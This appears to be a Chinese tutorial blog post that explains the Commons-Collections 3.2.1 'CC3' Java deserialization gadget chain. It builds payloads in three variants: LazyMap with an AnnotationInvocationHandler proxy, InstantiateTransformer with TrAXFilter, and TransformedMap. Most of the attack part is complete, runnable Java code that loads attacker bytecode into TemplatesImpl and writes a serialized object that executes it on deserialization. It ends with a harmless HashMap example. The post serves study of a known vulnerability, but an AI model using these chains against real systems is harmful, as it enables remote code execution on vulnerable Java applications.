templateslmpl利用链

cc3Jdk版本:

调用AnnoctionInvocationHandler中的版本需要在,<jdk8u71,

因为在jdk8u71的readobject中,不调用checksetvalue,

需要的依赖:

commons-collections 3.2.1

目录

Lazymap的链子

InstantiateTransformer的链子

 Transformed链子 

 hashmap的遍历方法

Lazymap的链子

首先Templateslmpl中的调用链

Templaateslmpl::newTransformer->

           getTransletInstance->

                     defineTransletClasses()->

                             defineClass()->

                                     newInstance触发

       TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]code=Files.readAllBytes(Paths.get("E://code/cc/Test.class"));
        byte[][]codes={code};
        bytecodes.set(templates,codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        templates.newTransformer();

然后需要找谁调用了newTransformer,

  TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]code=Files.readAllBytes(Paths.get("E://code/cc/Test.class"));
        byte[][]codes={code};
        bytecodes.set(templates,codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        //templates.newTransformer();
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(1);

 流程分析:

ChainedTransformer::transform->

                   ConstantTransformer::transformer->  进行的是修改object的操作

                           InvokerTransformer::transformer中然后调用Templates

 思路转化为找谁调用了transform

Lazpmap中的get方法调用了transform,

    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
       // chainedTransformer.transform(1);
        Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        decorate.get(1);

为什么调用decorate方法,那是因为lazymap的构造方法是private我们访问不了,而decorate正好return构造方法,decorate.get()可以随便赋值,因为会经过new ConstantTransformer(templates)。

需要找谁调用了get方法,发现

AnnotationInvocationHandler::invoke方法中,
Object result = memberValues.get(member);调用了get,这里的memberValues是初始化的时候我们出传入的可控。

但是怎么触发invoke方法呢,动态代理中,一个类只要调用了任何方法都会调用invoke方法,

  public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

并且需要调用的方法,不是equals并且,参数为空,正好

entrySet是无参方法所以我们就可以进行构造 

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {

        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]code=Files.readAllBytes(Paths.get("E://code/cc/Test.class"));
        byte[][]codes={code};
        bytecodes.set(templates,codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        //templates.newTransformer();
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
       // chainedTransformer.transform(1);
        Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        //decorate.get(1);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
       InvocationHandler o =(InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);

        Object o1 = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
        //动态代理代理的接口,                                因为Annotaion...接受map,所以代理Map的接口
        Object o2 = declaredConstructor.newInstance(Override.class, o1);

        //serialize(o2);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

 

 

InstantiateTransformer的链子

发现Instantiate Transformer类中的transform方法中,

发现只要input的参数继承Class类,然后就会调用con.newInstance这里我们需要的是, 调用Templateslmpl.newTransformer所以只需要con是Templateslmpl,IArgs是恶意类就可以了,

呃呃呃可能不太清楚,重写一下

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }
public Object transform(Object input) {
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);
ublic TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();

首先getConstructor()获取类的构造方法,input一定是TrAFiter.class,因为TrAXfiter类不可序列化但是它的class可以,iParamTypes获取另一个类的参数类型,很明显是Templates类,所以传入Templates.class,然后最后newinstance(iArgs)就是恶意类。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cc3Instan {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]code= Files.readAllBytes(Paths.get("E://code/cc/Test.class"));
        byte[][]codes={code};
        bytecodes.set(templates,codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);
    }
}

最后拼接上面链子的后半部分, 

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3Instan {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[]code= Files.readAllBytes(Paths.get("E://code/cc/Test.class"));
        byte[][]codes={code};
        bytecodes.set(templates,codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // chainedTransformer.transform(1);
        Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
        //decorate.get(1);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler o =(InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);

        Object o1 = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
        //动态代理代理的接口,                                因为Annotaion...接受map,所以代理Map的接口
        Object o2 = declaredConstructor.newInstance(Override.class, o1);

        //serialize(o2);
        cc3.unserialize("ser.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

 

 Transformed链子 

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3transformedmap {

        public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException {
            TemplatesImpl templates = new TemplatesImpl();
            Class<? extends TemplatesImpl> aClass = templates.getClass();
            Field name = aClass.getDeclaredField("_name");
            name.setAccessible(true);
            name.set(templates,"aaa");
            Field bytecodes = aClass.getDeclaredField("_bytecodes");
            bytecodes.setAccessible(true);
            byte[]code= Files.readAllBytes(Paths.get("E://code/cc/Test.class"));
            byte[][]codes={code};
            bytecodes.set(templates,codes);

            Field tfactory = aClass.getDeclaredField("_tfactory");
            tfactory.setAccessible(true);
            tfactory.set(templates,new TransformerFactoryImpl());

            InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
            //instantiateTransformer.transform(TrAXFilter.class);

            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(TrAXFilter.class),
                    instantiateTransformer

            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

            HashMap<Object,Object> hashMap = new HashMap<>();
            hashMap.put("value", "value");
            Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);

            Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationDeclaredConstructor = a.getDeclaredConstructor(Class.class, Map.class);
            annotationDeclaredConstructor.setAccessible(true);
            Object o = annotationDeclaredConstructor.newInstance(Target.class, decorate);
           // serialize(o);
            unserialize("ser.bin");
        }
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            objectOutputStream.writeObject(obj);
        }
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
            return objectInputStream.readObject();
        }
}

 hashmap的遍历方法

import java.util.HashMap;

public class Map {
    public static void main(String[] args) {
        HashMap<String, String> map = new HashMap<>();
        map.put("sfsf","2220");
        map.put("s5","2720");
        for (java.util.Map.Entry<String,String> entry: map.entrySet()){
            String key = entry.getKey();
            String value = entry.getValue();
            System.out.println(key+":"+value);


         }

    }
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值